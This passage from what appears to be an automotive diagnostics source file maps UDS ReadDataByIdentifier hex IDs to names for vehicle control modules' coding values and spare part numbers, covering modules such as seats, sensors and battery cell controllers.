"Door_handle_front_left_Kessy_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6066] = "Door_handle_front_right_Kessy_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6067] = "Door_handle_rear_left_Kessy_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6068] = "Door_handle_rear_right_Kessy_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6069] = "Power_converter_DC_AC_Coding_Values" +UDS_RDBI.dataIdentifiers[0x606a] = "Battery_monitoring_control_module_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x606b] = "Matrix_headlamp_powermodule_1_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x606c] = "Matrix_headlamp_powermodule_1_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x606d] = "High_beam_powermodule_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x606e] = "High_beam_powermodule_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x606f] = "Air_suspension_compressor_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6070] = "Rear_brake_actuator_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6071] = "Rear_brake_actuator_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6072] = "Analog_clock_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6073] = "Rear_door_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6079] = "Data_medium_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x607a] = "Operating_unit_center_console_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x607b] = "Operating_unit_center_console_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x607c] = "Operating_unit_center_console_3_Coding_Values" +UDS_RDBI.dataIdentifiers[0x607d] = "Operating_unit_center_console_4_Coding_Values" +UDS_RDBI.dataIdentifiers[0x607e] = "Interface_for_radiodisplay_Coding_Values" +UDS_RDBI.dataIdentifiers[0x607f] = "Parkassist_entry_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6086] = "Belt_pretensioner_3rd_row_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6087] = "Belt_pretensioner_3rd_row_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6088] = "Injection_valve_heater_control_unit_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6089] = "Steering_column_switch_Coding_Values" +UDS_RDBI.dataIdentifiers[0x608a] = "Brake_assistance_Coding_Values" +UDS_RDBI.dataIdentifiers[0x608b] = "Trailer_articulation_angle_sensor_Coding_Values" +UDS_RDBI.dataIdentifiers[0x608c] = "Cup_holder_with_heater_and_cooling_element_Coding_Values" +UDS_RDBI.dataIdentifiers[0x608d] = "Range_of_vision_sensing_Coding_Values" +UDS_RDBI.dataIdentifiers[0x608e] = "Convenience_and_driver_assist_operating_unit_Coding_Values" +UDS_RDBI.dataIdentifiers[0x608f] = "Cradle_rear_climatronic_operating_and_display_unit_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6090] = "Trailer_weight_nose_weight_detection_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6091] = "Sensor_carbon_dioxide_concentration_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6092] = "Sensor_fine_dust_concentration_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6093] = "Volume_control_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6094] = "Belt_buckle_presenter_2nd_row_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6095] = "Belt_buckle_presenter_2nd_row_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6096] = "Operating_and_display_unit_6_for_air_conditioning_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6097] = "Active_accelerator_pedal_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6098] = "Multimedia_operating_unit_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6099] = "Display_unit_3_for_multimedia_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x609a] = "Display_unit_4_for_multimedia_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x609b] = "Display_unit_5_for_multimedia_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x609c] = "Control_module_for_auxiliary_blower_motors_Coding_Values" +UDS_RDBI.dataIdentifiers[0x609d] = "Operating_and_display_unit_3_Coding_Values" +UDS_RDBI.dataIdentifiers[0x609e] = "Operating_and_display_unit_4_Coding_Values" +UDS_RDBI.dataIdentifiers[0x609f] = "Operating_and_display_unit_5_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60a0] = "Side Sensor Driver Front_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60a1] = "Side Sensor Passenger Front_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60a2] = "Side Sensor Driver Rear_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60a3] = "Side Sensor Passenger Rear_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60a4] = "Front Sensor Driver_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60a5] = "Front Sensor Passenger_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60a6] = "Pedestrian Protection Driver_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60a7] = "Pedestrian Protection Passenger_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60a8] = "Rear Sensor Center_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60a9] = "Pedestrian Protection Center_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60aa] = "Pedestrian Protection Contact_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60ab] = "Pedestrian_protection_driver_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60ac] = "Pedestrian_protection_passenger_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60ad] = "Central_sensor_XY_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60ae] = "Refrigerant_pressure_and_temperature_sender_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60af] = "Refrigerant_pressure_and_temperature_sender_3_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60b0] = "Switch_for_rear_multicontour_seat_driver_side_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60b1] = "Valve_block_1_in_driver_side_rear_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60b2] = "Valve_block_2_in_driver_side_rear_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60b3] = "Valve_block_3_in_driver_side_rear_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60b4] = "Switch_for_rear_multicontour_seat_passenger_side_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60b5] = "Valve_block_1_in_passenger_side_rear_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60b6] = "Valve_block_2_in_passenger_side_rear_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60b7] = "Valve_block_3_in_passenger_side_rear_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60b8] = "Switch_for_front_multicontour_seat_driver_side_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60b9] = "Valve_block_1_in_driver_side_front_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60ba] = "Valve_block_2_in_driver_side_front_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60bb] = "Valve_block_3_in_driver_side_front_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60bc] = "Switch_for_front_multicontour_seat_passenger_side_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60bd] = "Valve_block_1_in_passenger_side_front_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60be] = "Valve_block_2_in_passenger_side_front_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60bf] = "Valve_block_3_in_passenger_side_front_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60c0] = "Coolant_heater_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60c1] = "Seat_backrest_fan_1_front_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60c2] = "Seat_backrest_fan_2_front_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60c3] = "Seat_cushion_fan_1_front_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60c4] = "Seat_cushion_fan_2_front_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60c5] = "Seat_backrest_fan_1_front_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60c6] = "Seat_backrest_fan_2_front_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60c7] = "Seat_cushion_fan_1_front_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60c8] = "Seat_cushion_fan_2_front_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60c9] = "Operating_and_display_unit_1_for_air_conditioning_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60ca] = "Operating_and_display_unit_2_for_air_conditioning_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60cb] = "Operating_and_display_unit_3_for_air_conditioning_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60cc] = "Operating_and_display_unit_4_for_air_conditioning_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60cd] = "Operating_and_display_unit_5_for_air_conditioning_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60ce] = "Pedestrian_protection_left_hand_side_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60cf] = "Pedestrian_protection_right_hand_side_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60d0] = "Battery_junction_box_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60d1] = "Cell_module_controller_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60d2] = "Cell_module_controller_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60d3] = "Cell_module_controller_3_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60d4] = "Cell_module_controller_4_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60d5] = "Cell_module_controller_5_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60d6] = "Cell_module_controller_6_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60d7] = "Cell_module_controller_7_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60d8] = "Cell_module_controller_8_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60d9] = "Cell_module_controller_9_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60da] = "Cell_module_controller_10_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60db] = "Cell_module_controller_11_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60dc] = "Cell_module_controller_12_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60dd] = "Seat_backrest_fan_1_rear_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60de] = "Seat_backrest_fan_2_rear_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60df] = "Seat_cushion_fan_1_rear_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60e0] = "Seat_cushion_fan_2_rear_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60e1] = "Seat_backrest_fan_1_rear_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60e2] = "Seat_backrest_fan_2_rear_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60e3] = "Seat_cushion_fan_1_rear_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60e4] = "Seat_cushion_fan_2_rear_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60e5] = "Auxiliary_blower_motor_control_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60e6] = "Auxiliary_blower_motor_control_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60e7] = "Infrared_sender_for_front_observation_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60e8] = "Starter_generator_control_module_sub_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60e9] = "Media_player_1_sub_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60ea] = "Media_player_2_sub_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60eb] = "Dedicated_short_range_communication_aerial_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60ec] = "Refrigerant_pressure_and_temperature_sender_4_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60ed] = "Refrigerant_pressure_and_temperature_sender_5_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60ee] = "Refrigerant_pressure_and_temperature_sender_6_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60ef] = "Air_coolant_actuator_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60f0] = "Air_coolant_actuator_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60f1] = "Cell_module_controller_13_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60f2] = "Cell_module_controller_14_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60f3] = "Cell_module_controller_15_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60f5] = "Seat_heating_rear_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60f6] = "LED_warning_indicator_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60f7] = "Automatic_transmission_fluid_pump_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60f8] = "Manual_transmission_fluid_pump_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60f9] = "Convenience_and_driver_assist_operating_unit_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60fb] = "Air_coolant_actuator_3_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60fc] = "Valve_block_4_in_driver_side_rear_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60fd] = "Valve_block_4_in_passenger_side_rear_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60fe] = "Valve_block_4_in_driver_side_front_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x60ff] = "Valve_block_4_in_passenger_side_front_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6101] = "Rear_climatronic_operating_and_display_unit_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6102] = "Refrigerant_expansion_valve_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6103] = "Refrigerant_expansion_valve_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6104] = "Refrigerant_expansion_valve_3_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6105] = "Refrigerant_shut_off_valve_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6106] = "Refrigerant_shut_off_valve_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6107] = "Refrigerant_shut_off_valve_3_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6108] = "Refrigerant_shut_off_valve_4_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6109] = "Refrigerant_shut_off_valve_5_Coding_Values" +UDS_RDBI.dataIdentifiers[0x610a] = "Sunlight_sensor_Coding_Values" +UDS_RDBI.dataIdentifiers[0x610b] = "Near_field_communication_control_module_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x610c] = "Clutch_control_unit_Coding_Values" +UDS_RDBI.dataIdentifiers[0x610d] = "Electrical_charger_Coding_Values" +UDS_RDBI.dataIdentifiers[0x610e] = "Rear_light_left_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x610f] = "Rear_light_right_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6110] = "Rear_light_right_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6111] = "Sunlight_sensor_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6112] = "Radiator_shutter_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6113] = "Radiator_shutter_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6114] = "Radiator_shutter_3_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6115] = "Radiator_shutter_4_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6118] = "Special_key_operating_unit_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6119] = "Radio_interface_Coding_Values" +UDS_RDBI.dataIdentifiers[0x611a] = "Video_self_protection_recorder_Coding_Values" +UDS_RDBI.dataIdentifiers[0x611b] = "Special_vehicle_assist_interface_Coding_Values" +UDS_RDBI.dataIdentifiers[0x611c] = "Electric_system_disconnection_diode_Coding_Values" +UDS_RDBI.dataIdentifiers[0x611d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x611e] = "Belt_pretensioner_2nd_row_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x611f] = "Belt_pretensioner_2nd_row_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6120] = "Electrical_variable_camshaft_phasing_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6121] = "Electrical_variable_camshaft_phasing_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6122] = "Wireless_operating_unit_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6123] = "Wireless_operating_unit_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6124] = "Front_windshield_washer_pump_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6125] = "Air_quality_sensor_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6126] = "Fragrancing_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6127] = "Coolant_valve_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6128] = "Near_field_communication_control_module_3_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6129] = "Interior_monitoring_rear_Coding_Values" +UDS_RDBI.dataIdentifiers[0x612a] = "Cooler_fan_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x612b] = "Control_unit_heating_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x612c] = "Control_unit_heating_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x612d] = "Control_unit_heating_3_Coding_Values" +UDS_RDBI.dataIdentifiers[0x612e] = "Control_unit_heating_4_Coding_Values" +UDS_RDBI.dataIdentifiers[0x612f] = "Operating_unit_drive_mode_selection_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6130] = "Side_sensor_a-pillar_driver_front_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6131] = "Side_sensor_a-pillar_passenger_front_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6132] = "Sensor_high_voltage_system_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6133] = "Side_sensor_b-pillar_driver_front_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6134] = "Side_sensor_b-pillar_passenger_front_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6135] = "Multi_function_steering_wheel_control_module_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6136] = "Gear_selection_display_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6137] = "Cooler_fan_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6138] = "Gear_selector_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6139] = "Interior_light_module_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x613a] = "Radio_control_center_Coding_Values" +UDS_RDBI.dataIdentifiers[0x613b] = "Multimedia_extension_Coding_Values" +UDS_RDBI.dataIdentifiers[0x613c] = "Control_unit_differential_lock_Coding_Values" +UDS_RDBI.dataIdentifiers[0x613d] = "Control_unit_ride_control_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x613e] = "Control_unit_hands_on_detection_steering_wheel_Coding_Values" +UDS_RDBI.dataIdentifiers[0x613f] = "Front_climatronic_operating_and_display_unit_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6140] = "Auxiliary_display_unit_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6141] = "Card_reader_tv_tuner_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6142] = "Park_lock_actuator_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6143] = "Media_connector_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6144] = "Catalyst_heating_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6201] = "Control_unit_for_wiper_motor_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6202] = "Rain_light_recognition_sensor_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6203] = "Light_switch_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6204] = "Garage_door_opener_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6205] = "Garage_door_opener_operating_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6206] = "Ignition_key_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6207] = "Left_front_seat_ventilation_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6208] = "Right_front_seat_ventilation_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6209] = "Left_rear_seat_ventilation_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x620a] = "LED_headlamp_powermodule_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x620b] = "LED_headlamp_powermodule_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x620c] = "LED_headlamp_powermodule_2_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x620d] = "LED_headlamp_powermodule_2_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x620e] = "Operating_and_display_unit_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x620f] = "Operating_and_display_unit_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6210] = "Right_rear_seat_ventilation_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6211] = "Data_medium_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6212] = "Drivers_door_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6213] = "Front_passengers_door_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6214] = "Left_headlamp_power_output_stage_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6215] = "Right_headlamp_power_output_stage_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6216] = "Sensor_for_anti_theft_alarm_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6217] = "Rear_lid_control_module_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6218] = "Alarm_horn_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6219] = "Automatic_day_night_interior_mirror_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x621a] = "Remote_control_auxiliary_heater_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x621b] = "Fresh_air_blower_front_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x621c] = "Fresh_air_blower_back_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x621d] = "Alternator_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x621e] = "Interior_light_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x621f] = "Refrigerant_pressure_and_temperature_sender_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6220] = "Sun_roof_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6221] = "Steering_column_lock_actuator_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6222] = "Anti_theft_tilt_system_control_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6223] = "Tire_pressure_monitor_antenna_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6224] = "Heated_windshield_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6225] = "Rear_light_left_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6226] = "Ceiling_light_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6227] = "Left_front_massage_seat_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6228] = "Right_front_massage_seat_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6229] = "Control_module_for_auxiliary_air_heater_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x622a] = "Belt Pretensioner left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x622b] = "Belt Pretensioner right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x622c] = "Occupant Detection_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x622d] = "Selector_lever_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x622e] = "NOx_sensor_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x622f] = "NOx_sensor_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6230] = "Ioniser_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6231] = "Multi_function_steering_wheel_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6232] = "Left_rear_door_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6233] = "Right_rear_door_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6234] = "Left_rear_massage_seat_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6235] = "Right_rear_massage_seat_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6236] = "Display_unit_1_for_multimedia_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6237] = "Battery_monitoring_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6238] = "Roof_blind_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6239] = "Sun_roof_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x623a] = "Steering_angle_sender_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x623b] = "Lane_change_assistant 2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x623c] = "Pitch_rate_sender_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x623d] = "ESP_sensor_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x623e] = "Electronic_ignition_lock_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x623f] = "Air_quality_sensor_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6240] = "Display_unit_2_for_multimedia_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6241] = "Telephone_handset_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6242] = "Chip_card_reader_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6243] = "Traffic_data_aerial_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6244] = "Hands_free_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6245] = "Telephone_handset_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6246] = "Display_unit_front_for_multimedia_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6247] = "Multimedia_operating_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6248] = "Digital_sound_system_control_module_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6249] = "Electrically_adjustable_steering_column_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x624a] = "Interface_for_external_multimedia_unit_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x624b] = "Relative_Air_Humidity_Interior_Sender_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x624c] = "Drivers_door_rear_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x624d] = "Passengers_rear_door_control_module_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x624e] = "Sensor_controlled_power_rear_lid_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x624f] = "Camera_for_night_vision_system_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6250] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6251] = "Rear_spoiler_adjustment_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6252] = "Roof_blind_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6253] = "Motor_for_wind_deflector_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6254] = "Voltage_stabilizer_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6255] = "Switch_module_for_driver_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6256] = "Switch_module_for_front_passenger_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6257] = "Switch_module_for_rear_seat_driver_side_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6258] = "Switch_module_for_rear_seat_front_passenger_side_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6259] = "Switch_module_2_for_driver_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x625a] = "Battery_charger_unit_1_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x625b] = "Battery_charger_unit_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x625c] = "Battery_charger_unit_3_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x625d] = "Air_conditioning_compressor_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x625e] = "Neck_heating_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x625f] = "Neck_heating_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6260] = "Switch_module_2_for_front_passenger_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6261] = "Switch_module_2_for_rear_seat_front_passenger_side_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6262] = "Compact_disc_database_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6263] = "Rear_climatronic_operating_and_display_unit_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x6264] = "Rear_climatronic_operating_and_display_unit_right_Spare_Part_Number" 